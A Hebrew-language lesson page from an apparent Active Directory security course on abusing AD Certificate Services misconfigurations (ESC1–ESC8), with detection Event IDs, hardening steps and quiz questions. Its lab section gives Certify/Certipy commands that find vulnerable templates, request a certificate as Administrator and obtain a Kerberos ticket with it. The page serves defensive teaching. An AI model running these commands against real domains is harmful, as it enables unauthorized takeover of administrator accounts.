דילוג לתוכן הראשי
AD Academy
מתקפות על AD
מתקדם24 דקותעודכן לאחרונה: נושא 5 מתוך 7

AD CS — ESC1–ESC8: תקיפת רשות האישורים

רשות האישורים הפנימית היא «המדפסת תעודות» של הדומיין — ותבנית מוגדרת רע שווה כרטיס כניסה ל־Domain Admin.

לא הושלם

מה תלמדו כאן

  • מה זה AD CS, מהי תבנית תעודה ואיך עובד Enrollment
  • אילו שגיאות קונפיגורציה יוצרות את ESC1–ESC8
  • איך מוצאים תבניות פגיעות עם Certify / Certipy

כדאי לקרוא לפני הנושא הזה:Shadow Credentials (msDS-KeyCredentialLink)

תיאוריה — מה זה AD CS

Certificate Services () הוא רשות האישורים (CA) המובנית של Windows. הוא מנפיק תעודות דיגיטליות למשתמשים, מחשבים ושירותים — לאימות, הצפנה וחתימה. הבעיה: תעודה יכולה לשמש גם כאמצעי אימות מול () — כלומר מי שמקבל תעודה בשם מישהו אחר, למעשה מקבל את הזהות שלו.

תבנית תעודה () מגדירה מי רשאי לבקש תעודה, לאיזה שימוש, ואילו שדות הבקשן רשאי לקבוע בעצמו. רוב הארגונים מעולם לא ביצעו אודט לתבניות — ולכן נחשב כיום לווקטור התקיפה הצומח ביותר נגד , «ה־ החדש».

ESC1–ESC8 בקצרה

  • ESC1 — התבנית מאפשרת לבקשן לקבוע Subject Alternative Name (SAN) בעצמו + אימות לקוח מותר + הרשאת Enrollment לכולם: מבקשים תעודה «בשם» Administrator.
  • ESC2 — תבנית עם שימוש «Any Purpose» או ללא EKU: מתאימה לכל דבר, כולל אימות.
  • ESC3 — תבנית Enrollment Agent: תעודה אחת מאפשרת לבקש תעודות בשם אחרים.
  • ESC4 — הרשאות כתיבה על התבנית עצמה: מי שיכול לערוך תבנית, הופך אותה ל־ESC1.
  • ESC5 — הרשאות חזקות על אובייקטי (CA, מחשב ה־CA, OID) — ניצול עקיף של כל השאר.
  • ESC6 — הדגל EDITF_ATTRIBUTESUBJECTALTNAME2 על ה־CA: כל תבנית הופכת ל־ESC1.
  • ESC7 — הרשאת ManageCA/ManageCertificates על ה־CA: מנהל CA יכול לאשר בקשות תלויות ולהנפיק תעודות בעצמו.
  • ESC8 — נגד ממשקי ה־HTTP של (web enrollment): מרחיקים אימות של מחשב לשרת ה־CA ומקבלים תעודה בשמו.

פרקטיקה — מעבדה בלבד

# 1. סריקת תבניות פגיעות עם Certify (Windows)
Certify.exe find /vulnerable
# מחפש: Supply in the request, Client Authentication, Enrollee Supplies Subject
powershell
# 2. אותה סריקה מלינוקס עם Certipy
certipy find -u attacker@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable
bash
# 3. ניצול ESC1: בקשת תעודה בשם Administrator
certipy req -u attacker@corp.local -p 'Password123' \
  -ca CORP-CA -template VulnerableTemplate \
  -upn administrator@corp.local
# 4. קבלת TGT עם התעודה
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
bash

זיהוי (Detection)

  • Event ID 4886/4887 על ה־CA — תעודה התקבלה/הונפקה: בדקו SAN שלא תואם את המבקש.
  • Event ID 4768 — עם אימות תעודה () לחשבון שלא אמור להשתמש בתעודות.
  • Event ID 4898/4899 — שינוי בקונפיגורציית ה־CA (כולל EDITF_ATTRIBUTESUBJECTALTNAME2).
  • בקשות תעודה לתבנית אחת בזמן קצר מאותו מבקש — דפוס של סריקה/ניצול.

מיטיגציה — בלוק ההגנה (חובה)

  • אודט תבניות: הריצו Certify find /vulnerable או Certipy על הסביבה שלכם — מה שהתוקף ימצא, תמצאו אתם קודם.
  • הקשחת תבניות: הסירו «Supply in the request», הגבילו Enrollment לקבוצות ספציפיות, הפעילו Manager Approval וחתימת Enrollment Agent איפה שאפשר.
  • הסירו את הדגל EDITF_ATTRIBUTESUBJECTALTNAME2 מה־CA (חוסם ESC6): certutil -config "CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2.
  • ESC8: השביתו web enrollment אם לא נדרש, או אכפו HTTPS + Extended Protection for Authentication () על ממשקי ה־HTTP.
  • הפרידו תפקידים: מי שמנהל CA לא צריך להיות Admin, ולהפך.
  • נטרו את Event IDs מהרשימה למעלה ב־ — יש Sigma rules ייעודיים ל־ abuse.

בדוק את עצמך

מה הופך תבנית תעודה לפגיעה בסגנון ESC1?

מהו ESC8?

איזה Event ID על ה־CA מתעד הנפקת תעודה?

מה הצעד ההגנתי הראשון מול AD CS?

העמוד הזה עזר לך?